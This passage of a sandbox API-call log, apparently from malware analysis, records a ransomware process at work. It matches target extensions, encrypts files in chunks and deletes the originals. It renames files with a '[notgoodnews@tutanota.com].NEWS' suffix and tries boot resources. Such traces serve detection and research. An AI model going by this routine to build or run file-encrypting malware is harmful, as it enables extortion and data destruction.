[0069.111] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0069.111] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31 [0069.111] lstrlenW (lpString=".dbf") returned 4 [0069.111] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0069.111] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31 [0069.111] lstrlenW (lpString=".1cd") returned 4 [0069.111] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0069.111] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31 [0069.111] lstrlenW (lpString=".jpg") returned 4 [0069.111] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0069.111] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0069.111] lstrlenW (lpString="SetupEngine.dll") returned 15 [0069.111] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupEngine.dll" (normalized: "c:\\588bce7c90097ed212\\setupengine.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0069.112] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x25dff14 | out: lpFileSize=0x25dff14*=807256) returned 1 [0069.112] CloseHandle (hObject=0x378) returned 1 [0069.112] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupEngine.dll" (normalized: "c:\\588bce7c90097ed212\\setupengine.dll")) returned 0x80 [0069.112] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupEngine.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\setupengine.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0069.112] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupEngine.dll" (normalized: "c:\\588bce7c90097ed212\\setupengine.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0069.112] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0069.112] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0069.112] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupEngine.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\setupengine.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0069.112] GetLastError () returned 0x0 [0069.112] ReadFile (in: hFile=0x378, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0xc5158, lpOverlapped=0x0) returned 1 [0069.130] WriteFile (in: hFile=0x354, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0xc5160, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0xc5160, lpOverlapped=0x0) returned 1 [0070.890] ReadFile (in: hFile=0x378, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x0, lpOverlapped=0x0) returned 1 [0070.890] WriteFile (in: hFile=0x354, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0xf2, lpOverlapped=0x0) returned 1 [0070.890] SetEndOfFile (hFile=0x354) returned 1 [0070.890] CloseHandle (hObject=0x354) returned 1 [0070.914] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0070.914] SetEndOfFile (hFile=0x378) returned 1 [0071.526] CloseHandle (hObject=0x378) returned 1 [0071.526] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupEngine.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x80) returned 1 [0071.526] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\SetupEngine.dll" (normalized: "c:\\588bce7c90097ed212\\setupengine.dll")) returned 1 [0071.526] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37 [0071.526] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37 [0071.526] lstrlenW (lpString=".doc") returned 4 [0071.527] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0071.527] lstrlenW (lpString=".docx") returned 5 [0071.527] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0071.527] lstrlenW (lpString=".pdf") returned 4 [0071.527] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0071.527] lstrlenW (lpString=".xls") returned 4 [0071.527] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0071.527] lstrlenW (lpString=".xlsx") returned 5 [0071.527] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0071.527] lstrlenW (lpString=".ppt") returned 4 [0071.527] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0071.527] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37 [0071.527] lstrlenW (lpString=".zip") returned 4 [0071.527] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0071.527] lstrlenW (lpString=".rar") returned 4 [0071.527] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0071.527] lstrlenW (lpString=".bz2") returned 4 [0071.527] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0071.527] lstrlenW (lpString=".7z") returned 3 [0071.527] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0071.527] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37 [0071.527] lstrlenW (lpString=".dbf") returned 4 [0071.527] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0071.527] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37 [0071.527] lstrlenW (lpString=".1cd") returned 4 [0071.527] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0071.527] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37 [0071.527] lstrlenW (lpString=".jpg") returned 4 [0071.527] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0071.527] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37 [0071.527] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37 [0071.527] lstrlenW (lpString=".doc") returned 4 [0071.527] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0071.527] lstrlenW (lpString=".docx") returned 5 [0071.527] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0071.528] lstrlenW (lpString=".pdf") returned 4 [0071.528] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0071.528] lstrlenW (lpString=".xls") returned 4 [0071.528] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0071.528] lstrlenW (lpString=".xlsx") returned 5 [0071.528] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0071.528] lstrlenW (lpString=".ppt") returned 4 [0071.528] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0071.528] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37 [0071.528] lstrlenW (lpString=".zip") returned 4 [0071.528] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0071.528] lstrlenW (lpString=".rar") returned 4 [0071.528] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0071.528] lstrlenW (lpString=".bz2") returned 4 [0071.528] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0071.528] lstrlenW (lpString=".7z") returned 3 [0071.528] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0071.528] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37 [0071.528] lstrlenW (lpString=".dbf") returned 4 [0071.528] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0071.528] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37 [0071.528] lstrlenW (lpString=".1cd") returned 4 [0071.528] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0071.528] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37 [0071.528] lstrlenW (lpString=".jpg") returned 4 [0071.528] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0071.528] lstrcmpiW (lpString1=".msu", lpString2=".NEWS") returned -1 [0071.528] lstrlenW (lpString="Windows6.0-KB956250-v6001-x64.msu") returned 33 [0071.528] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x64.msu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0071.529] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x25dff14 | out: lpFileSize=0x25dff14*=5198099) returned 1 [0071.529] CloseHandle (hObject=0x378) returned 1 [0071.529] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x64.msu")) returned 0x80 [0071.529] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x64.msu.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0071.529] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x64.msu"), lpNewFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x64.msu.id-b4197730.[notgoodnews@tutanota.com].news")) returned 1 [0071.530] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x64.msu.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0071.531] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfc64 | out: lpNewFilePointer=0x0) returned 1 [0071.531] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfc24 | out: lpNewFilePointer=0x0) returned 1 [0071.531] ReadFile (in: hFile=0x378, lpBuffer=0x34e7058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x25dfc30, lpOverlapped=0x0 | out: lpBuffer=0x34e7058*, lpNumberOfBytesRead=0x25dfc30*=0x40000, lpOverlapped=0x0) returned 1 [0071.535] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x1a705b, lpNewFilePointer=0x0, dwMoveMethod=0x25dfc24 | out: lpNewFilePointer=0x0) returned 1 [0071.535] ReadFile (in: hFile=0x378, lpBuffer=0x3527058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x25dfc30, lpOverlapped=0x0 | out: lpBuffer=0x3527058*, lpNumberOfBytesRead=0x25dfc30*=0x40000, lpOverlapped=0x0) returned 1 [0071.538] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x25dfc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0071.538] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x4b5113, lpNewFilePointer=0x0, dwMoveMethod=0x25dfc24 | out: lpNewFilePointer=0x0) returned 1 [0071.538] ReadFile (in: hFile=0x378, lpBuffer=0x3567058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x25dfc30, lpOverlapped=0x0 | out: lpBuffer=0x3567058*, lpNumberOfBytesRead=0x25dfc30*=0x40000, lpOverlapped=0x0) returned 1 [0071.554] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0071.554] WriteFile (in: hFile=0x378, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0xc012e, lpNumberOfBytesWritten=0x25dfca8, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfca8*=0xc012e, lpOverlapped=0x0) returned 1 [0071.892] SetEndOfFile (hFile=0x378) returned 1 [0071.893] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x40000) returned 0x3eeba98 [0071.898] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfc74 | out: lpNewFilePointer=0x0) returned 1 [0071.898] WriteFile (in: hFile=0x378, lpBuffer=0x3eeba98*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x25dfc80, lpOverlapped=0x0 | out: lpBuffer=0x3eeba98*, lpNumberOfBytesWritten=0x25dfc80*=0x40000, lpOverlapped=0x0) returned 1 [0071.900] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x1a705b, lpNewFilePointer=0x0, dwMoveMethod=0x25dfc74 | out: lpNewFilePointer=0x0) returned 1 [0071.900] WriteFile (in: hFile=0x378, lpBuffer=0x3eeba98*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x25dfc80, lpOverlapped=0x0 | out: lpBuffer=0x3eeba98*, lpNumberOfBytesWritten=0x25dfc80*=0x40000, lpOverlapped=0x0) returned 1 [0071.902] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x4b5113, lpNewFilePointer=0x0, dwMoveMethod=0x25dfc74 | out: lpNewFilePointer=0x0) returned 1 [0071.902] WriteFile (in: hFile=0x378, lpBuffer=0x3eeba98*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x25dfc80, lpOverlapped=0x0 | out: lpBuffer=0x3eeba98*, lpNumberOfBytesWritten=0x25dfc80*=0x40000, lpOverlapped=0x0) returned 1 [0071.904] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3eeba98 | out: hHeap=0x490000) returned 1 [0071.907] CloseHandle (hObject=0x378) returned 1 [0074.092] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x80) returned 1 [0074.093] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55 [0074.093] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55 [0074.093] lstrlenW (lpString=".doc") returned 4 [0074.093] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0074.093] lstrlenW (lpString=".docx") returned 5 [0074.093] lstrcmpiW (lpString1=".docx", lpString2="4.msu") returned -1 [0074.093] lstrlenW (lpString=".pdf") returned 4 [0074.093] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0074.093] lstrlenW (lpString=".xls") returned 4 [0074.093] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0074.093] lstrlenW (lpString=".xlsx") returned 5 [0074.093] lstrcmpiW (lpString1=".xlsx", lpString2="4.msu") returned -1 [0074.093] lstrlenW (lpString=".ppt") returned 4 [0074.093] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0074.093] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55 [0074.093] lstrlenW (lpString=".zip") returned 4 [0074.093] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0074.093] lstrlenW (lpString=".rar") returned 4 [0074.093] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0074.093] lstrlenW (lpString=".bz2") returned 4 [0074.093] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0074.093] lstrlenW (lpString=".7z") returned 3 [0074.093] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0074.093] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55 [0074.093] lstrlenW (lpString=".dbf") returned 4 [0074.093] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0074.093] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55 [0074.093] lstrlenW (lpString=".1cd") returned 4 [0074.093] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0074.093] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55 [0074.093] lstrlenW (lpString=".jpg") returned 4 [0074.093] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0074.094] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55 [0074.094] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55 [0074.094] lstrlenW (lpString=".doc") returned 4 [0074.094] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0074.094] lstrlenW (lpString=".docx") returned 5 [0074.094] lstrcmpiW (lpString1=".docx", lpString2="4.msu") returned -1 [0074.094] lstrlenW (lpString=".pdf") returned 4 [0074.094] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0074.094] lstrlenW (lpString=".xls") returned 4 [0074.094] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0074.094] lstrlenW (lpString=".xlsx") returned 5 [0074.094] lstrcmpiW (lpString1=".xlsx", lpString2="4.msu") returned -1 [0074.094] lstrlenW (lpString=".ppt") returned 4 [0074.094] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0074.094] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55 [0074.094] lstrlenW (lpString=".zip") returned 4 [0074.094] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0074.094] lstrlenW (lpString=".rar") returned 4 [0074.094] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0074.094] lstrlenW (lpString=".bz2") returned 4 [0074.094] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0074.094] lstrlenW (lpString=".7z") returned 3 [0074.094] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0074.094] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55 [0074.094] lstrlenW (lpString=".dbf") returned 4 [0074.094] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0074.094] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55 [0074.094] lstrlenW (lpString=".1cd") returned 4 [0074.094] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0074.094] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55 [0074.094] lstrlenW (lpString=".jpg") returned 4 [0074.094] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0074.095] lstrcmpiW (lpString1=".mui", lpString2=".NEWS") returned -1 [0074.095] lstrlenW (lpString="bootres.dll.mui") returned 15 [0074.095] CreateFileW (lpFileName="C:\\Boot\\Resources\\en-US\\bootres.dll.mui" (normalized: "c:\\boot\\resources\\en-us\\bootres.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0074.095] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x25dff14 | out: lpFileSize=0x25dff14*=12192) returned 1 [0074.095] CloseHandle (hObject=0x378) returned 1 [0074.095] GetFileAttributesW (lpFileName="C:\\Boot\\Resources\\en-US\\bootres.dll.mui" (normalized: "c:\\boot\\resources\\en-us\\bootres.dll.mui")) returned 0x20 [0074.095] GetFileAttributesW (lpFileName="C:\\Boot\\Resources\\en-US\\bootres.dll.mui.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\boot\\resources\\en-us\\bootres.dll.mui.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0074.095] CreateFileW (lpFileName="C:\\Boot\\Resources\\en-US\\bootres.dll.mui" (normalized: "c:\\boot\\resources\\en-us\\bootres.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0074.095] lstrlenW (lpString="C:\\Boot\\Resources\\en-US\\bootres.dll.mui") returned 39 [0074.095] lstrlenW (lpString="C:\\Boot\\Resources\\en-US\\bootres.dll.mui") returned 39 [0074.095] lstrlenW (lpString=".doc") returned 4 [0074.095] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0074.095] lstrlenW (lpString=".docx") returned 5 [0074.095] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0074.095] lstrlenW (lpString=".pdf") returned 4 [0074.095] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0074.095] lstrlenW (lpString=".xls") returned 4 [0074.095] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0074.095] lstrlenW (lpString=".xlsx") returned 5 [0074.095] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0074.096] lstrlenW (lpString=".ppt") returned 4 [0074.096] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0074.096] lstrlenW (lpString="C:\\Boot\\Resources\\en-US\\bootres.dll.mui") returned 39 [0074.096] lstrlenW (lpString=".zip") returned 4 [0074.096] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0074.096] lstrlenW (lpString=".rar") returned 4 [0074.096] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0074.096] lstrlenW (lpString=".bz2") returned 4 [0074.096] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0074.096] lstrlenW (lpString=".7z") returned 3 [0074.096] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0074.096] lstrlenW (lpString="C:\\Boot\\Resources\\en-US\\bootres.dll.mui") returned 39 [0074.096] lstrlenW (lpString=".dbf") returned 4 [0074.096] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0074.096] lstrlenW (lpString="C:\\Boot\\Resources\\en-US\\bootres.dll.mui") returned 39 [0074.096] lstrlenW (lpString=".1cd") returned 4 [0074.096] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0074.096] lstrlenW (lpString="C:\\Boot\\Resources\\en-US\\bootres.dll.mui") returned 39 [0074.096] lstrlenW (lpString=".jpg") returned 4 [0074.096] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0074.096] lstrlenW (lpString="C:\\Boot\\Resources\\en-US\\bootres.dll.mui") returned 39 [0074.096] lstrlenW (lpString="C:\\Boot\\Resources\\en-US\\bootres.dll.mui") returned 39 [0074.096] lstrlenW (lpString=".doc") returned 4 [0074.096] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0074.096] lstrlenW (lpString=".docx") returned 5 [0074.096] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0074.096] lstrlenW (lpString=".pdf") returned 4 [0074.096] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0074.096] lstrlenW (lpString=".xls") returned 4 [0074.096] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0074.096] lstrlenW (lpString=".xlsx") returned 5 [0074.096] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0074.096] lstrlenW (lpString=".ppt") returned 4 [0074.096] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0074.096] lstrlenW (lpString="C:\\Boot\\Resources\\en-US\\bootres.dll.mui") returned 39 [0074.096] lstrlenW (lpString=".zip") returned 4 [0074.097] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0074.097] lstrlenW (lpString=".rar") returned 4 [0074.097] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0074.097] lstrlenW (lpString=".bz2") returned 4 [0074.097] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0074.097] lstrlenW (lpString=".7z") returned 3 [0074.097] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0074.097] lstrlenW (lpString="C:\\Boot\\Resources\\en-US\\bootres.dll.mui") returned 39 [0074.097] lstrlenW (lpString=".dbf") returned 4 [0074.097] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0074.097] lstrlenW (lpString="C:\\Boot\\Resources\\en-US\\bootres.dll.mui") returned 39 [0074.097] lstrlenW (lpString=".1cd") returned 4 [0074.097] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0074.097] lstrlenW (lpString="C:\\Boot\\Resources\\en-US\\bootres.dll.mui") returned 39 [0074.097] lstrlenW (lpString=".jpg") returned 4 [0074.097] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0074.097] lstrcmpiW (lpString1=".mui", lpString2=".NEWS") returned -1 [0074.097] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0074.097] CreateFileW (lpFileName="C:\\Boot\\ro-RO\\bootmgr.exe.mui" (normalized: "c:\\boot\\ro-ro\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0074.097] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x25dff14 | out: lpFileSize=0x25dff14*=76128) returned 1 [0074.097] CloseHandle (hObject=0x378) returned 1 [0074.097] GetFileAttributesW (lpFileName="C:\\Boot\\ro-RO\\bootmgr.exe.mui" (normalized: "c:\\boot\\ro-ro\\bootmgr.exe.mui")) returned 0x20 [0074.097] GetFileAttributesW (lpFileName="C:\\Boot\\ro-RO\\bootmgr.exe.mui.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\boot\\ro-ro\\bootmgr.exe.mui.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0074.098] CreateFileW (lpFileName="C:\\Boot\\ro-RO\\bootmgr.exe.mui" (normalized: "c:\\boot\\ro-ro\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0074.098] lstrlenW (lpString="C:\\Boot\\ro-RO\\bootmgr.exe.mui") returned 29 [0074.098] lstrlenW (lpString="C:\\Boot\\ro-RO\\bootmgr.exe.mui") returned 29 [0074.098] lstrlenW (lpString=".doc") returned 4 [0074.098] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0074.098] lstrlenW (lpString=".docx") returned 5 [0074.098] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0074.098] lstrlenW (lpString=".pdf") returned 4 [0074.098] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0074.098] lstrlenW (lpString=".xls") returned 4 [0074.098] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0074.098] lstrlenW (lpString=".xlsx") returned 5 [0074.098] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0074.098] lstrlenW (lpString=".ppt") returned 4 [0074.098] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0074.098] lstrlenW (lpString="C:\\Boot\\ro-RO\\bootmgr.exe.mui") returned 29 [0074.098] lstrlenW (lpString=".zip") returned 4 [0074.098] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0074.098] lstrlenW (lpString=".rar") returned 4 [0074.098] lstrcmpiW (lpString1=".rar", 